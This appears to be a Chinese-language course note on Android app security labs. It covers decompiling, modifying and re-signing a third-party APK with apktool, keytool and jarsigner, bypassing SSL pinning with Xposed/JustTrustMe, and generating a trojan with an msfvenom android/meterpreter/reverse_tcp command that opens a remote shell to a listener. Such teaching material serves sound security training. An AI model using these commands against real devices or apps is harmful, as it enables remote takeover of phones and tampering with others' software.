实验一:破坏一个APP应用
从网络上的应用商店下载APP应用
(此实验只使用APP没有加固的)
本质为apktool工具的使用(kali自带有):apktool反编译apk文件的命令:
apktool d com.ruguoapp.jike.apk -o ruguoapp (d 解压 com.ruguoapp.jike.apk 包的名字 -o 输出到哪里 ruguoapp 文件夹 )
正常解压之后,显示如下类似的样子:
如果安装包做了一些加固之类的东西,显示的东西会比以上更多。
反编译后的文件结构如下:
AndroidManifest.xml 此文件是apk中最重要的文件之一。它是apk的全局配置文件,提供了android系统所需要的关于该应用的必要信息。
Apktool.yml 反编译的配置文件,用于重新打包
Assets 声音 字体 网页....资源
Lib .so文件,C/C++代码库文件,无法阅读,但非常重要
Res 主要用来存放资源。此文件夹下可以创建子文件,常见的有:
anim 动画
drawable 图片
color 颜色
menu 菜单
layout 布局
values 常见量
xml 任意xml文件
我们修改apk时,一般就在这里修改。比如汉化,改名称,去广告,改字体颜色,大小神马的
Smali 里面主要是dex文件反编译得到的smali文件
删东西: vi AndroidManifest.xml
删删删
重新打包:apktool b ruguoapp -o test1.apk
还原回去的安卓包不能直接用:需要两个工具生成签名。keytool:keytool -genkey -alias farmsec.keystore -keyalg RSA -validity 2000 -keystore farmsec.keystore (秘钥生成证书)
jarsigner -verbose -keystore farmsec.keystore -signedjar test1_s.apk test1.apk farmsec.keystore (证书加载进来,完成签名)
多出了一个应用,这个签名好的应用可以安卓到手机上
实验二:安卓木马
查看本机IP ifconfig
生成木马:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.151 LPORT=4444 R > /app/muma.apk
测试一下木马的话,启动MSF:service postgresql start
msfconsole
看一看木马的权限
看一下一共生成多少行权限
重新打包一下
看一下正经的包一共有多少权限 (木马包23条,正经的包37条权限,这是有问题的地方,后续再提这个)
实验三:测试WEB APP 手机安装证书的步骤在前面burp课程中有详述
burp作为中间人去抓取https流量,会遇到SSL强校验机制,发现证书不对,不让你劫持到这个包。
尝试这种方式绕过SSL强校验机制:先root 再装xposed 里面的justtrustme
传统的web类安全漏洞也实用于APP 苹果在流量没有https加密的情况下,是没办法进入应用商店的。
安卓在这一块的话,不太好。。
如果反编译的时候发现了salt盐,这个值泄露了以后,中间所有加密的数据全都完蛋了。
在如今的金融行业APP中,所有的数据都是加密的,但是没有提供cookie校验身份的一个机制,它没有cookie去做实名认证
,它只确保几个密文是对的。如果这个APP被反编译找到加密算法中的salt盐的值,那么整个密文全部变成了明文。
99% 的APP应用权限开的比木马的还多。。
转载于:https://www.cnblogs.com/sec875/articles/9281953.html
相关资源:JAVA上百实例源码以及开源项目